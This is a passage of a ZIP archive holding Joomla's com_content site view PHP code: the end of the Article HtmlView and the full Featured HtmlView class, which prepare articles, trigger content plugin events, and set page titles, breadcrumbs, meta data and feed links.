layout to check 'access-view' and only use "introtext" for guests */ if ($item->params->get('show_intro', '1') == '1') { $item->text = $item->introtext . ' ' . $item->fulltext; } elseif ($item->fulltext) { $item->text = $item->fulltext; } else { $item->text = $item->introtext; } $item->tags = new TagsHelper(); $item->tags->getItemTags('com_content.article', $this->item->id); if (Associations::isEnabled() && $item->params->get('show_associations')) { $item->associations = AssociationHelper::displayAssociations($item->id); } // Process the content plugins. PluginHelper::importPlugin('content'); $this->dispatchEvent(new Event('onContentPrepare', ['com_content.article', &$item, &$item->params, $offset])); $item->event = new \stdClass(); $results = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.article', &$item, &$item->params, $offset]); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.article', &$item, &$item->params, $offset]); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.article', &$item, &$item->params, $offset]); $item->event->afterDisplayContent = trim(implode("\n", $results)); // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->item->params->get('pageclass_sfx', '')); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void */ protected function _prepareDocument() { $app = Factory::getApplication(); $pathway = $app->getPathway(); /** * Because the application sets a default page title, * we need to get it from the menu item itself */ $menu = $app->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES')); } $title = $this->params->get('page_title', ''); // If the menu item is not linked to this article if (!$this->menuItemMatchArticle) { // If a browser page title is defined, use that, then fall back to the article title if set, then fall back to the page_title option $title = $this->item->params->get('article_page_title', $this->item->title ?: $title); // Get ID of the category from active menu item if ( $menu && $menu->component == 'com_content' && isset($menu->query['view']) && in_array($menu->query['view'], ['categories', 'category']) ) { $id = $menu->query['id']; } else { $id = 0; } $path = [['title' => $this->item->title, 'link' => '']]; $category = Categories::getInstance('Content')->get($this->item->catid); while ($category !== null && $category->id != $id && $category->id !== 'root') { $path[] = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)]; $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $pathway->addItem($item['title'], $item['link']); } } if (empty($title)) { /** * This happens when the current active menu item is linked to the article without browser * page title set, so we use Browser Page Title in article and fallback to article title * if that is not set */ $title = $this->item->params->get('article_page_title', $this->item->title); } $this->setDocumentTitle($title); if ($this->item->metadesc) { $this->getDocument()->setDescription($this->item->metadesc); } elseif ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } if ($app->get('MetaAuthor') == '1') { $author = $this->item->created_by_alias ?: $this->item->author; $this->getDocument()->setMetaData('author', $author); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->getDocument()->setMetaData($k, $v); } } // If there is a pagebreak heading or title, add it to the page title if (!empty($this->item->page_title)) { $this->item->title = $this->item->title . ' - ' . $this->item->page_title; $this->setDocumentTitle( $this->item->page_title . ' - ' . Text::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $this->state->get('list.offset') + 1) ); } if ($this->print) { $this->getDocument()->setMetaData('robots', 'noindex, nofollow'); } } } PK ���\�j�*� � Featured/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Featured; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Frontpage View class * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The model state * * @var \Joomla\CMS\Object\CMSObject */ protected $state = null; /** * The featured articles array * * @var \stdClass[] */ protected $items = null; /** * The pagination object. * * @var \Joomla\CMS\Pagination\Pagination */ protected $pagination = null; /** * The featured articles to be displayed as lead items. * * @var \stdClass[] */ protected $lead_items = []; /** * The featured articles to be displayed as intro items. * * @var \stdClass[] */ protected $intro_items = []; /** * The featured articles to be displayed as link items. * * @var \stdClass[] */ protected $link_items = []; /** * @var \Joomla\Database\DatabaseDriver * * @since 3.6.3 * * @deprecated 4.3 will be removed in 6.0 * Will be removed without replacement use database from the container instead * Example: Factory::getContainer()->get(DatabaseInterface::class); */ protected $db; /** * The user object * * @var \Joomla\CMS\User\User|null */ protected $user = null; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { $user = $this->getCurrentUser(); $state = $this->get('State'); $items = $this->get('Items'); $pagination = $this->get('Pagination'); // Flag indicates to not add limitstart=0 to URL $pagination->hideEmptyLimitstart = true; // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } /** @var \Joomla\Registry\Registry $params */ $params = &$state->params; // PREPARE THE DATA // Get the metrics for the structural page layout. $numLeading = (int) $params->def('num_leading_articles', 1); $numIntro = (int) $params->def('num_intro_articles', 4); PluginHelper::importPlugin('content'); // Compute the article slugs and prepare introtext (runs content plugins). foreach ($items as &$item) { $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias === 'root') { $item->parent_id = null; } $item->event = new \stdClass(); // Old plugins: Ensure that text property is available if (!isset($item->text)) { $item->text = $item->introtext; } Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.featured', &$item, &$item->params, 0]); // Old plugins: Use processed text as introtext $item->introtext = $item->text; $results = Factory::getApplication()->triggerEvent('onContentAfterTitle', ['com_content.featured', &$item, &$item->params, 0]); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentBeforeDisplay', ['com_content.featured', &$item, &$item->params, 0]); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = Factory::getApplication()->triggerEvent('onContentAfterDisplay', ['com_content.featured', &$item, &$item->params, 0]); $item->event->afterDisplayContent = trim(implode("\n", $results)); } // Preprocess the breakdown of leading, intro and linked articles. // This makes it much easier for the designer to just integrate the arrays. $max = count($items); // The first group is the leading articles. $limit = $numLeading; for ($i = 0; $i < $limit && $i < $max; $i++) { $this->lead_items[$i] = &$items[$i]; } // The second group is the intro articles. $limit = $numLeading + $numIntro; // Order articles across, then down (or single column mode) for ($i = $numLeading; $i < $limit && $i < $max; $i++) { $this->intro_items[$i] = &$items[$i]; } // The remainder are the links. for ($i = $numLeading + $numIntro; $i < $max; $i++) { $this->link_items[$i] = &$items[$i]; } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', '')); $this->params = &$params; $this->items = &$items; $this->pagination = &$pagination; $this->user = &$user; $this->db = Factory::getDbo(); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @return void */ protected function _prepareDocument() { // Because the application sets a default page title, // we need to get it from the menu item itself $menu = Factory::getApplication()->getMenu()->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', Text::_('JGLOBAL_ARTICLES')); } $this->setDocumentTitle($this->params->get('page_title', '')); if ($this->params->get('menu-meta_description')) { $this->getDocument()->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('robots')) { $this->getDocument()->setMetaData('robots', $this->params->get('robots')); } // Add feed links if ($this->params->get('show_feed_link', 1)) { $link = '&format=feed&limitstart='; $attribs = ['type' => 'application/rss+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())]; $this->getDocument()->addHeadLink(Route::_($link . '&type=rss'), 'alternate', 'rel', $attribs); $attribs = ['type' => 'application/atom+xml', 'title' => htmlspecialchars($this->getDocument()->getTitle())]; $this->getDocument()->addHeadLink(Route::_($link . '&type=atom'), 'alternate', 'rel', $attribs); } } } PK ���\�H� �"